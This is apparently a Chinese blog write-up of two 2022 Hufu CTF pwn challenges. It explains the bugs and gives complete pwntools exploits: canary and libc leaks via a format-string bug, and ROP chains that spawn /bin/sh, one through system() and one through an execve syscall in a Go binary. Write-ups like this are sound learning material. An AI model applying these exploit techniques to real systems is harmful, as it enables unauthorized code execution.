虎符网络安全赛道2022-pwn题复现

目前感觉自己水平还是不怎么样。。。一场比赛下来,还是做不到完整地独立做出一道题。。。
整场比赛总共做了两道题,一个babygame,一个gogogo,拿到flag的只有babygame(并且主要是小语在输出)。

babygame

程序和漏洞分析

程序保护全开,不过主函数没有检查canary,开始会有一个石头剪刀布游戏,赢或者平100局(数据为随机数),能够进入一个漏洞函数。
主要有两个漏洞,第一个是主函数中的read函数能造成溢出(能够控制随机数种子),且没有截断。


第二个是专门的漏洞函数里的fmtstr漏洞。

漏洞利用

首先,利用第一个read覆盖随机数种子(可以直接写一个c程序提前获取随机数),同时带出canary和栈地址。
再是利用覆盖的种子提前获取随机数,通过石头剪刀布游戏,进入漏洞函数。
在漏洞函数中,利用fmtstr获取libc和基地址,并修改返回地址,再次执行漏洞函数。
第二次执行漏洞函数时,利用获取到的基地址计算出主函数地址,修改返回地址为主函数,利用主函数的栈溢出构造ROP

exp

from pwn import *

context.log_level = "debug"
# context.terminal = ["alacritty", "-e"]
context.terminal = ["tmux", "splitw", "-h"]

p = process("./babygame")

libc = ELF("./libc-2.31.so")

payload = b'a' * 0x108
p.sendlineafter(b'name:\n', payload)
p.recvuntil(b'\n')
canary = u64(b'\x00' + p.recv(7))
stack  = u64(p.recv(6).ljust(8, b'\x00'))

rand_table = [
    1, 2, 0, 2, 2, 1, 2, 2, 1, 1, 
    2, 0, 2, 1, 1, 1, 1, 2, 2, 1, 
    2, 0, 1, 2, 0, 1, 1, 1, 0, 2, 
    2, 1, 0, 0, 2, 2, 1, 2, 2, 0, 
    1, 2, 0, 0, 0, 2, 0, 0, 1, 0, 
    1, 0, 0, 0, 1, 1, 1, 0, 0, 2, 
    0, 0, 1, 1, 0, 1, 0, 2, 1, 0, 
    2, 2, 0, 2, 0, 0, 2, 1, 1, 0, 
    1, 1, 2, 2, 1, 0, 1, 0, 0, 2, 
    0, 1, 0, 2, 2, 0, 1, 0, 0, 2,
]
for i in rand_table:
    p.sendlineafter(b': \n', str((i + 1) % 3).encode())

ret_addr = stack - 0x218
payload  = b'%62c%9hhn%27p%23p'
payload  = payload.ljust(0x18, b'a')
payload += p64(ret_addr)
p.sendafter(b'you.\n', payload)
p.recvuntil(b'0x')
atoi_addr = int(p.recv(12), 16) - 20
p.recvuntil(b'0x')
elf_base  = int(p.recv(12), 16) - 0x1180

libc_base    = atoi_addr - libc.sym["atoi"]
system_addr  = libc_base + libc.symbols["system"]
binsh        = libc_base + next(libc.search(b'/bin/sh'))
ret          = libc_base + 0x22679
pop_rdi      = elf_base  + 0x15d3

main_addr = str((elf_base + 0x14b6)&0xffff).encode()
payload   = b'%' + main_addr + b'c%9hn'
payload   = payload.ljust(0x18, b'a')
payload  += p64(ret_addr)
p.sendafter(b'you.\n', payload)

payload  = b'\x00' * 0x108
payload += p64(canary) * 4
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system_addr)
p.sendlineafter(b'name:\n', payload)

p.sendlineafter(b': \n', b'0')

p.interactive()

gogogo

一道golang pwn,比赛期间查资料有看到golang pwn基本都是构造ROP,但go的编译器将变量存入堆还是栈的判断方法研究了好久,最后发现可以直接看汇编判断,比赛期间没能做出来。。。。只能赛后对照别人的wp复现。

程序和漏洞分析

go的程序在runtime相关的段中记录了函数名,IDA Pro7.7能够根据这个段恢复函数名,但是这个段的值是可以修改的。在这个程序中,出题人把main_main替换成了math_init,同时把一个假函数改成了main_main,我被这个坑了好久,花了一天研究为什么自己打的断点不生效。。。
接着就是分析主程序流程:
第一次猜数字,需要输入1717986918跳入下一个游戏。


再是一个1A2B游戏,这里我是手动通过游戏。
最后是一个CURD,但是洞不在CURD的主体程序中,而是在退出函数的,这里可以看出Reader_Read函数是存入a2

在汇编代码中可以看出a2是存在栈中,存在栈溢出。

漏洞利用

利用栈溢出,构造ROP,再利用syscall执行/bin/sh

exp

from pwn import *

context.log_level = "debug"
# context.terminal = ["alacritty", "-e"]
context.terminal = ["tmux", "splitw", "-h"]

def guessTrainner():
   start =time.time()
   answerSet=answerSetInit(set())
   for i in range(6):
      inputStrMax=suggestedNum(answerSet,100)
      print('----第%d步----' %(i+1))
      print('尝试:' +inputStrMax)
      print('--------------')
      AMax,BMax = compareAnswer(inputStrMax)
      print('反馈:%dA%dB' % (AMax, BMax))
      print('--------------')
      print('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
      answerSetUpd(answerSet,inputStrMax,AMax,BMax)
      if AMax==4:
         elapsed = (time.time() - start)
         print("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
         break
      elif i==5:
         print("猜数字失败!")

def compareAnswer(inputStr):
    inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
    p.sendline(inputStr1)
    p.recvuntil('\n')

    tmp = p.recvuntil(b'B', timeout=0.5)
    print(tmp)
    if tmp == b'':
        return 4,4
    tmp = tmp.split(b'A')
    A = tmp[0]
    B = tmp[1].split(b'B')[0]
    return int(A),int(B)

def compareAnswer1(inputStr,answerStr):
   A=0
   B=0
   for j in range(4):
      if inputStr[j]==answerStr[j]:
         A+=1
      else:
         for k in range(4):
            if inputStr[j]==answerStr[k]:
               B+=1
   return A,B

def answerSetInit(answerSet):
   answerSet.clear()
   for i in range(1234,9877):
      seti=set(str(i))
      if len(seti)==4 and seti.isdisjoint(set('0')):
         answerSet.add(str(i))
   return answerSet

def answerSetUpd(answerSet,inputStr,A,B):
   answerSetCopy=answerSet.copy()
   for answerStr in answerSetCopy:
      A1,B1=compareAnswer1(inputStr,answerStr)
      if A!=A1 or B!=B1:
         answerSet.remove(answerStr)

def answerSetDelNum(answerSet,inputStr,A,B):
   i=0
   for answerStr in answerSet:
      A1, B1 = compareAnswer1(inputStr, answerStr)
      if A!=A1 or B!=B1:
         i+=1
   return i

def suggestedNum(answerSet,lvl):
   suggestedNum=''
   delCountMax=0
   if len(answerSet) > lvl:
      suggestedNum = list(answerSet)[0]
   else:
      for inputStr in answerSet:
         delCount = 0
         for answerStr in answerSet:
            A,B = compareAnswer1(inputStr, answerStr)
            delCount += answerSetDelNum(answerSet, inputStr,A,B)
         if delCount > delCountMax:
            delCountMax = delCount
            suggestedNum = inputStr
         if delCount == delCountMax:
            if suggestedNum == '' or int(suggestedNum) > int(inputStr):
               suggestedNum = inputStr

   return suggestedNum

p = process("./gogogo")

p.sendlineafter(b'NUMBER:', b'1717986918')
p.sendlineafter(b'NUMBER:', b'1717986918')
p.recvuntil(b'GUESS')
guessTrainner()
p.sendlineafter(b'EXIT?', b'e')
p.sendlineafter(b'(4) EXIT', b'4')

payload  = b"a" * (0x460)
payload += p64(0x405b78)    # pop rax ; ret
payload += p64(0x405b78)    # pop rax ; ret
payload += p64(0x45cbe4)    # mov rbx, rsp ; and rsp, 0xfffffffffffffff0 ; call rax
payload += p64(0x45afa8)    # mov rdi, rbx ; mov rcx, rbx ; call rax
payload += p64(0)
payload += b'/bin/sh\x00'
payload += p64(0x45bcbc)    # add rdi, 0x10 ; ret
payload += p64(0x405b78)    # pop rax ; ret
payload += p64(59)
payload += p64(0x45C849)    # syscall ; ret
# syscall | rax = 59 | rdi -> "/bin/sh" | rsi = NULL | rdx = NULL
p.sendlineafter(b'SURE?', payload)

p.interactive()

一些总结

  • 堆题一定要关注libc的小版本,有时小版本不同也会导致调试不成功。
  • IDA恢复出来的go的函数名不一定是对的,有手法能够修改。
  • go逆向出来代码可以根据汇编代码判断变量是否在堆上(不要完全面向F5做题
  • 考虑gadget的时候关注需要用到的寄存器就够了,不需要过多考虑

参考资料

gogogo一题参考了该wp:虎符2022 WriteUp by Z00M
1A2B的自动算法是上面这份wp中提到的地址:python初学—猜数字游戏

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇